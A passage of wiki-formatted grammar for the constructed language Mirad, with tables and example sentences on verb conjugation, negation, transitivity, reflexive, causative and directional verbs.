| '''At x&lt;u&gt;oye&lt;/u&gt;'''....''I am about to do'' || '''Has x&lt;u&gt;owe&lt;/u&gt;'''....''It is about to be done''
|-
!row=1| Imminent !! Past !! Indicative 
| '''At x&lt;u&gt;oya&lt;/u&gt;'''....''I was about to do'' || '''Has x&lt;u&gt;owa&lt;/u&gt;'''....''It was about to be done''
|}

==== The Potential Aspect ====

: The following chart presents Mirad verbs in the Potential aspect.  The hypothetical vowel '''u''' followed by a buffer consonant are inserted between the stem and the final tense vowel.  The buffer consonant is '''y''' in the  active voice, or '''w''' in the passive voice. The future potential and hypothetical potential aspects are never used. 

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Potential Aspect
|-
! ASPECT !! TENSE !! MOOD !! ACTIVE VOICE !! PASSIVE VOICE
|-
!row=1| Potential !! Present !! Indicative 
| '''At x&lt;u&gt;uye&lt;/u&gt;'''....''I am to do'' || '''Has x&lt;u&gt;uwe&lt;/u&gt;'''....''It is to be done, it is doable''
|-
!row=1| Potential !! Past !! Indicative 
| '''At x&lt;u&gt;uya&lt;/u&gt;'''....''I was to do'' || '''Has x&lt;u&gt;uwa&lt;/u&gt;'''....''It was to be done, it was doable''
|}

== Verb Conjugation Chart ==

: The following chart presents the totality of the Mirad affirmative verb conjugation system using the verb '''xer'''....''to do'' and its passive '''xwer'''....''to be done, happen''.  The rows beginning with a light blue background are finite forms, while those beginning with light green are non-finite forms.

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Conjugation Chart
|- valign=top
!rowspan=2| State !!rowspan=2| Mood !!rowspan=2| Aspect !!rowspan=2| Tense !! colspan=4|Voice
|-
! Active!!Passive
|-
! rowspan=16 style=&quot;background: lightblue;{{text default color}};&quot;|Finite !!rowspan=3| Indicative !!rowspan=4| Simple !! Present
| '''xe''' &lt;br&gt;''does''||'''xwe'''&lt;br&gt;''is done, happens''
|-
! Past
| '''xa''' &lt;br&gt;''did''||'''xwa'''&lt;br&gt;''was done, happened''
|-
!  Future
| '''xo''' &lt;br&gt;''will do''||'''xwo'''&lt;br&gt;''will be done, will happen''
|-
! Hypothetical|| 
| '''xu''' &lt;br&gt;''would do, do!''||'''xwu'''&lt;br&gt;''would be done, would happen, be done!''
|-
!rowspan=3| Indicative !!rowspan=4| Progressive !! Present 
| '''xeye'''&lt;br&gt;''is doing''||'''xewe'''&lt;br&gt;''is being done, is happening''
|-
!  Past 
| '''xeya''' &lt;br&gt;''was doing''||'''xewa'''&lt;br&gt;''was doing, was happening''
|-
!  Future 
| '''xeyo'''&lt;br&gt;''will be doing''||'''xewo'''&lt;br&gt;''will be happening''
|-
! Hypothetical|| 
| '''xeyu''' &lt;br&gt;''would be doing''&lt;br&gt;''be doing!''||'''xewu'''&lt;br&gt;''would be happening''
|-
!rowspan=3|Indicative !! rowspan=4| Perfect !! Present
| '''xaye''' &lt;br&gt;''has done''||'''xawe''' &lt;br&gt;''has been done, has happened''
|-
!   Past 
| '''xaya''' &lt;br&gt;''had done''||'''xawa'''&lt;br&gt;''had been done, had happened''
|-
!  Future 
| '''xayo''' &lt;br&gt;''will have done''||'''xawo''' &lt;br&gt;''will have been done, will have happened''
|-
! Hypothetical !! 
| '''xayu''' &lt;br&gt;''would have done''||'''xawu'''&lt;br&gt;''would have been done, would have happened''
|-
!rowspan=4| Indicative !! rowspan=2|Imminent !! Present
| '''xoye''' &lt;br&gt;''is about to do''||'''xowe'''&lt;br&gt;''is about to be done, is about to happen''
|-
! Past
| '''xoya'''&lt;br&gt;''was to be done'' ||'''xowa'''&lt;br&gt;''was to be done, was to happen''
|-
! rowspan=2|Potential !! Present
| '''xuye'''&lt;br&gt;''is supposed to do'' ||'''xuwe''' &lt;br&gt;''is supposed to happen''
|-
!  Past
| '''xuya''' &lt;br&gt;''was supposed to do''||'''xuwa'''&lt;br&gt;''was supposed to be done, was supposed to happen''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot;|Infinitive !!  !! Simple !! rowspan=8|
| '''xer'''&lt;br&gt;''to do''||'''xwer'''&lt;br&gt;''to be done, to happen''
|-
! !! Perfect 
| '''xayer'''&lt;br&gt;''to have done''||'''xawer'''&lt;br&gt;''to have been done, to have happend''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
! rowspan=4 style=&quot;background: lightgreen;{{Text default color}};&quot;|Participle !! !! Progressive
| '''xea'''&lt;br&gt;''doing'' ||'''xewa'''&lt;br&gt;''being done, happening''
|-
!  !! Perfect
| '''xya''' &lt;br&gt;''having done''||'''xwa'''&lt;br&gt;''done, happened''
|-
!  !! Imminent
| '''xoa''' &lt;br&gt;''about to do''||'''xowa'''&lt;br&gt;''about to happen''
|-
!  !! Potential
| '''xua'''&lt;br&gt;''bound to do'' ||'''xuwa'''&lt;br&gt;''doable''
|-
! colspan=6 style=&quot;background: black;color:white;&quot;|
|-
!rowspan=2 style=&quot;background: lightgreen;{{Text default color}};&quot; |Gerund
!  !! Simple !!
| '''xen''' &lt;br&gt;''doing''||'''xwen''' &lt;br&gt;''being done, happening, event''
|-
!  !! Perfect !!
| '''xayen'''&lt;br&gt;''having done''||'''xawen'''&lt;br&gt;''having happened''
|}
: Note 1:  Intransitive verbs such as '''per''' ''to go'' have no passive forms.  An expression such as ''They are gone.'' would be translated as '''Yit se pya'''.

== Negative Forms ==
: All of the above verb forms are affirmative.  The indicative and conditional forms can be made negative by using the negative adverb '''voy''' (''not'', '' 'nt'', ''doesn't'', ''don't'').  Those forms that are subjunctive, jussive, or imperative ending in '''-u''' use the negative subordinate conjunction '''von''' (''don't'', ''let not'', ''lest''). 
: '''voy'''....''not'' 
::* '''At &lt;u&gt;voy&lt;/u&gt; te.'''....''I &lt;u&gt;don&lt;/u&gt;'t know.'' (indicative)
::* '''&lt;u&gt;Voy&lt;/u&gt; mamilo.'''....''It will &lt;u&gt;not&lt;/u&gt; rain.'' (indicative)
::* '''At &lt;u&gt;voy&lt;/u&gt; xu hus.'''....''I would &lt;u&gt;not&lt;/u&gt; do that.'' (conditional)
: '''von'''....''Let's not, don't, let it not''
::* '''&lt;u&gt;Von&lt;/u&gt; mamilu.'''....''&lt;u&gt;Let it not&lt;/u&gt; rain.'' (subjunctive)
::* '''&lt;u&gt;Von&lt;/u&gt; yat fuyaku.'''....''&lt;u&gt;Let&lt;/u&gt; us &lt;u&gt;not&lt;/u&gt; despair.'' (jussive)
::* '''&lt;u&gt;Von&lt;/u&gt; pu!'''....''&lt;u&gt;Don't&lt;/u&gt; go.'' (imperative)
: Participles, gerunds, and infinitives can be negated with the prefix '''o-''' (''un-, non-'').
::* '''tosea'''....''feeling'' -&gt; '''otosea'''....''unfeeling''
::* '''xwa'''....''done'' -&gt; '''oxwa'''....''undone''
::* '''teliwa'''....''eaten'' -&gt; '''oteliwa'''....''uneaten''
::* '''tejen'''....''living'' -&gt; '''otejen'''....''not living''
::* '''buen'''....''giving'' -&gt; '''obuen'''....''not giving''
::* '''buer'''....''to give'' -&gt; '''obuer'''....''not to give''
::* '''ter'''....''to know'' =&gt; '''oter'''....''not to know, i.e. to ignore''
: Partciples, gerunds, and infinitives can also be negated with the word '''voy'' (''not''), eg:
::* '''voy tea ha dud'''....''not knowing the answer''
::* '''gel voy tejea'''....''like not living''
::* '''av voy xen hes'''....''for not doing something''

== How to Express Certain English Tenses ==
: English speakers have some tenses that do not fit into the above schema, and so Mirad uses a combination of verbs to achieve the same sense:
::* The English tense ''I have been studying French for four years.'' is translated in Mirad by '''At saye tixea Ferad ji uwa jabi.''' (Mirad present perfect of '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I had been studying'' is translated in Mirad by '''At saya tixer''', the past perfect of the verb '''ser''' (''to be'') + the present participle of the main verb, '''tixer'''.

::* The English tense ''I am going to be starring in that role.'' is translated in Mirad by '''At dezdebeyo be hua dezgon.''' (Mirad future progressive).
 
::* The modern Black English tense ''Don't you be doing that.'' is handled in Mirad by '''Von et xeyu hus.''' (Mirad imperative progressive).

== Transitive vs. Intransitive Verbs ==
: Transitive verbs, which can take a direct object, oppose themselves to intransitive verbs, which do not take a direct object.  Some verbs are marked overtly for transitivity.

: Verbs that end in '''xer''' (''to do, -ify, -ize'') are by nature transitive, and often have intransitive counterparts in '''ser''' (''to be, become, -ify, -ize'').  Likewise, verbs ending in '''ber''' (''to put, take'') are transitive and have intransitive counterparts in '''per''' (''to go'').  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Transitive vs. Intransitive
|-
!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
